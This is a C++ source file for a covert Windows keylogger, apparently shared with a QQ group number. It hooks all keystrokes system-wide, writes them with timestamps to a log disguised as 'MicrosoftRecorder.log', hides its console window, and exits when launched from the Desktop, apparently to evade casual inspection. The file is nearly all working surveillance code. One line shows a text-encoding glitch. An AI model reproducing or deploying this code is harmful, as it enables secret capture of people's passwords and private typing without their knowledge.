#include <iostream>
#include <fstream>
#include <windows.h>
#include <ctime>
#include <iomanip>
#include <sstream>
#include <stdio.h>
#include <stdlib.h>
HHOOK keyboardHook;
std::ofstream logFile;
void RecordKeyStroke(DWORD key, const char* keyName) {
std::time_t currentTime = std::time(nullptr);
std::tm localTime;
localtime_s(&localTime, ¤tTime);
std::ostringstream timeStrStream;
timeStrStream << std::put_time(&localTime, "%Y-%m-%d %H:%M:%S");
logFile.open("MicrosoftRecorder.log", std::ios::app);
if (logFile.is_open()) {
logFile << "T:" << timeStrStream.str() << ",VK:" << key << ",K:" << keyName << std::endl;
std::cout << keyName << std::endl;
logFile.close();
}
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0 && wParam == WM_KEYDOWN) {
KBDLLHOOKSTRUCT* kbdStruct = reinterpret_cast<KBDLLHOOKSTRUCT*>(lParam);
DWORD key = kbdStruct->vkCode;
char keyName[256] = { 0 };
if (key == VK_RETURN) {
strcpy_s(keyName, "回车");
}
else if (key == VK_BACK) {
strcpy_s(keyName, "退格");
}
else if (key == 160) {
strcpy_s(keyName, "SHIFT");
}
else if (key == 162) {
strcpy_s(keyName, "CTRL");
}
else if (key == 20) {
strcpy_s(keyName, "大小写");
}
else if (key == 144) {
strcpy_s(keyName, "小键盘数字");
}
else if (key == 9) {
strcpy_s(keyName, "TAB");
}
else if (key == VK_SPACE) {
strcpy_s(keyName, "空格键");
}
else if (key == 91) {
strcpy_s(keyName, "开始");
}
else if (key == 45) {
strcpy_s(keyName, "INS");
}
else if (key == 36) {
strcpy_s(keyName, "HOME");
}
else if (key == 33) {
strcpy_s(keyName, "PAGUP");
}
else if (key == 46) {
strcpy_s(keyName, "DEL");
}
else if (key == 35) {
strcpy_s(keyName, "END");
}
else if (key == 34) {
strcpy_s(keyName, "PAGDN");
}
else if (key == 37) {
strcpy_s(keyName, "←");
}
else if (key == 38) {
strcpy_s(keyName, "↑");
}
else if (key == 39) {
strcpy_s(keyName, "→");
}
else if (key == 40) {
strcpy_s(keyName, "↓");
}
else if (key == 44) {
strcpy_s(keyName, "PRTSC");
}
else if (key == 145) {
strcpy_s(keyName, "SCRLK");
}
else if (key == 19) {
strcpy_s(keyName, "PAUSE");
}
else if (key == 112) {
strcpy_s(keyName, "F1");
}
else if (key == 113) {
strcpy_s(keyName, "F2");
}
else if (key == 114) {
strcpy_s(keyName, "F3");
}
else if (key == 115) {
strcpy_s(keyName, "F4");
}
else if (key == 116) {
strcpy_s(keyName, "F5");
}
else if (key == 117) {
strcpy_s(keyName, "F6");
}
else if (key == 118) {
strcpy_s(keyName, "F7");
}
else if (key == 119) {
strcpy_s(keyName, "F8");
}
else if (key == 120) {
strcpy_s(keyName, "F9");
}
else if (key == 121) {
strcpy_s(keyName, "F10");
}
else if (key == 122) {
strcpy_s(keyName, "F11");
}
else if (key == 123) {
strcpy_s(keyName, "F12");
}
else if (key == 27) {
strcpy_s(keyName, "ESC");
}
else {
BYTE keyboardState[256] = { 0 };
SHORT shiftState = GetKeyState(VK_SHIFT);
SHORT capsLockState = GetKeyState(VK_CAPITAL);
bool isShiftPressed = shiftState & 0x8000;
bool isCapsLockOn = (capsLockState & 1) != 0;
if (isCapsLockOn ^ isShiftPressed) {
keyboardState[VK_SHIFT] = 0x80;
}
ToAscii(key, key, keyboardState, reinterpret_cast<WORD*>(keyName), 0);
}
RecordKeyStroke(key, keyName);
}
return CallNextHookEx(keyboardHook, nCode, wParam, lParam);
}
int main(int argc, char* argv[]) {
std::string programPath = argv[0];
std::string windowsKeyword = "Desktop";
if (programPath.find(windowsKeyword) != std::string::npos) {
std::cout << programPath << std::endl;
return EXIT_FAILURE;
}
AllocConsole();
HWND hide = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(hide, 0);
keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0) > 0) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(keyboardHook);
return 0;
}
QQ群:839758211